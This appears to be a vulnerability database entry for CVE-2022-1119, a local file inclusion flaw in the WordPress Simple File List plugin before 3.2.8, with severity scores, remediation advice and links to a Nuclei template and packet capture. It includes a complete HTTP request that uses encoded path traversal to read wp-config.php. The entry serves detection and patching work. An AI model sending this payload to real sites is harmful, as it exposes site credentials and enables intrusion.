🔙 목록으로 돌아가기

CVE-2022-1119: WordPress Simple File List <3.2.8 - Local File Inclusion

TitleWordPress Simple File List <3.2.8 - Local File Inclusion
Authorrandom-robbie
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
RemediationUpdate WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.90562
CVE IDCVE-2022-1119
CWE IDCWE-22
Tags cve cve2022 wp wp-plugin wpscan lfi wordpress simplefilelist vuln

🔍 Vulnerability Description

WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.

🌐 HTTP Request

GET /wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1119.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1119.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A